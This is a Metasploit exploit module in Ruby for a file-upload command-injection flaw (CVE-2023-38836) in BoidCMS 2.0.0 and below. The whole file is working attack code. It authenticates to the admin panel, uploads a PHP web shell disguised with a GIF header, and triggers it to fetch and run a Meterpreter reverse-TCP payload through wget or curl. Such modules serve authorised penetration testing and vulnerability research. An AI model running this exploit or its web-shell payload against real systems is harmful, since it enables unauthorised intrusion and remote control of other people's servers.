##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BoidCMS Command Injection',
        'Description' => %q{
          This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
          and below.  BoidCMS allows the authenticated upload of a php file as media if the file has
          the GIF header, even if the file is a php file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '1337kid',    # Discovery
          'bwatters-r7' # Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2023-38836' ],
          [ 'URL', 'https://github.com/1337kid/CVE-2023-38836']
        ],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'nix Command',
            {
              'Platform' => ['linux', 'unix', 'python'],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['windows', 'python'],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp',
                'FETCH_WRITABLE_DIR' => '%TEMP%',
                'FETCH_COMMAND' => 'CURL'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-07-13',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The path', '']),
      OptString.new('CMS_USERNAME', [true, 'Username', 'admin']),
      OptString.new('CMS_PASSWORD', [true, 'Password', 'password']),
      OptString.new('PHP_FILENAME', [true, 'The name for the php file to upload', "#{Rex::Text.rand_text_alphanumeric(5..11)}.php"])

    ])
    @token = nil
    @shell_filename = nil
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'method' => 'GET'
    )
    if res && res.code == 200
      title = res.get_html_document.xpath('//title').first.to_s
      return Exploit::CheckCode::Detected('Detected BoidCMS, but the version is unknown.') if title.include?('BoidCMS')
    end
    return Exploit::CheckCode::Safe('Unable to retrieve BoidCMS title page')
  end

  def extract_token(res)
    token = nil
    if res && res.code == 200
      token = res.get_html_document.xpath("//input[@name='token']/@value").first
    end
    token
  end

  def cms_token
    # initial login
    return @token unless @token.nil?

    vprint_status('Getting Token')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'method' => 'GET'
    )
    @token = extract_token(res)
  end

  def cms_login?(login_token)
    vprint_status('Logging into CMS')
    cms_password = datastore['CMS_PASSWORD']
    cms_username = datastore['CMS_USERNAME']
    vars_form_data =
      [
        {
          'name' => 'username',
          'data' => cms_username
        },
        {
          'name' => 'password',
          'data' => cms_password
        },
        {
          'name' => 'login',
          'data' => 'Login'
        },
        {
          'name' => 'token',
          'data' => login_token.to_s
        }
      ]
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_form_data' => vars_form_data
    )
    res && res.code == 302
  end

  def upload_php?(login_token, shell_filename)
    vprint_status("Uploading PHP file #{shell_filename}")
    vars_form_data =
      [
        {
          'name' => 'file',
          'data' => 'GIF89a;\n<?php system($_GET["cmd"]) ?>',
          'filename' => shell_filename
        },
        {
          'name' => 'token',
          'data' => login_token.to_s
        },
        {
          'name' => 'upload',
          'data' => 'Upload'
        }
      ]

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_get' => {
        'page' => 'media'
      },
      'vars_form_data' => vars_form_data
    )
    res && res.code == 302
  end

  def launch_payload(shell_filename, payload_cmd)
    # send the command to the php page
    vprint_status('launching Payload')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "/media/#{shell_filename}"),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' =>
        {
          'cmd' => payload_cmd
        }
    )
  end

  def exploit
    @shell_filename = datastore['PHP_FILENAME']
    login_token = cms_token

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve token for login') if login_token.nil?
    fail_with(Failure::UnexpectedReply, 'Failed to log in') unless cms_login?(login_token)
    if upload_php?(login_token, @shell_filename)
      register_file_for_cleanup @shell_filename
      launch_payload(@shell_filename, payload.encoded)
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload php files')
    end
  end

end
